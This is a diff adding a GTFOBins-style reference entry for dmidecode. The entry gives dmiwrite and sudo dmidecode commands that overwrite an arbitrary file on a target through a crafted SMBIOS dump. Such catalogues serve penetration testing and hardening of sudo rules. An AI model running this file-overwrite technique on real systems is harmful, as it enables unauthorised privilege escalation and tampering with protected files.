Add dmidecode

_gtfobins/dmidecode.md

@@ -0,0 +1,21 @@
+---
+functions:
+  sudo:
+    - description: |
+        It can be used to overwrite files using a specially crafted SMBIOS file that can be read as a memory device by dmidecode.
+        Generate the file with [dmiwrite](https://github.com/adamreiser/dmiwrite) and upload it to the target.
+
+        - `--dump-bin`, will cause dmidecode to write the payload to the destination specified, prepended with 32 null bytes.
+
+        - `--no-sysfs`, if the target system is using an older version of dmidecode, you may need to omit the option.
+
+        ```
+        make dmiwrite
+        TF=$(mktemp)
+        echo "DATA" > $TF
+        ./dmiwrite $TF x.dmi
+        ```
+      code: |
+        LFILE=file_to_write
+        sudo dmidecode --no-sysfs -d x.dmi --dump-bin "$LFILE"
+---